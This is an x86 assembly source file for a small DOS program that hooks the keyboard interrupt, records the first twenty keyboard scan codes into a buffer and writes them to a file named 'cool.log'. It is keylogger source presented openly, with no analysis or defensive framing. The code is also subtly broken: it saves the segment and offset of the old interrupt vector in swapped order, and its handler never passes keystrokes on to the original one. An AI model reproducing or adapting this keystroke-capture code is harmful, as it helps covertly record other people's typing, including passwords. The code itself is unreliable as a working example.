.model small
.code
org 100h
start:

  mov ax, 3509h         ; Get old INT 09 vector
  int 21h
  mov word ptr cs:[old0x9], es
  mov word ptr cs:[old0x9+2], bx

  mov ax, 2509h         ; Set our new INT 09 handler
  push  cs
  pop   ds
  mov   dx, offset NEWINT09
  int 21h
  
loop1:
  mov cx, 0FFFFh
loop2: loop loop2        
  cmp count, 20
  jb loop1

  ; Restore old interrupt vector
  mov ax, 2509h; INT09
  lds dx, old0x9
  int 21h

  push cs
  pop ds

  ; Write our keys to file
  mov ah, 3ch
  mov cx, 0
  mov dx, offset coolF
  int 21h ; Open log file
  jc ERROR
  mov bx, ax ; save file handle

  mov ah, 40h ; write  
  mov cx, count  ; all bytes
  mov dx, offset coolbuf ; data
  int 21h ; Write data to file

  mov ah, 3eh ; Close
  int 21h
  jmp NOERROR

  txt db 'Fuck, error creating file!$'
ERROR:
  mov ah, 09h
  mov dx, offset txt
  int 21h
  
NOERROR:
  mov ax, 4C00h
  int 21h ; Terminate

; Our cool int09 handler
NEWINT09:
   push ax
   push bx

   ; get key
;GETK:

   in al, 60h
   mov bx, offset coolbuf
   add bx, word ptr cs:[count]
   mov cs:[bx], al
   inc count
 ;  cmp al, 0E0h
;   je GETK

   in al, 61h           ; Get value of keyboard control lines
   mov ah, al           ;  save it
   or al, 80h           ; set the "enable kbt" bit
   out 61h, al          ;  and write it out the contorl port
   xchg ah, al          ; fetch the original value
   out 61h, al          ;  and write it back

   cli
   mov al, 20h          ; Send End-Of-Interrupt signal
   out 20h, al          ;  to the 8259 Interrupt Controller
   sti

   pop bx
   pop ax
   iret
;------------------------------------
old0x9  dd 0
count   dw 0
coolF   db 'cool.log',0
coolBuf db 200 dup (?)
end start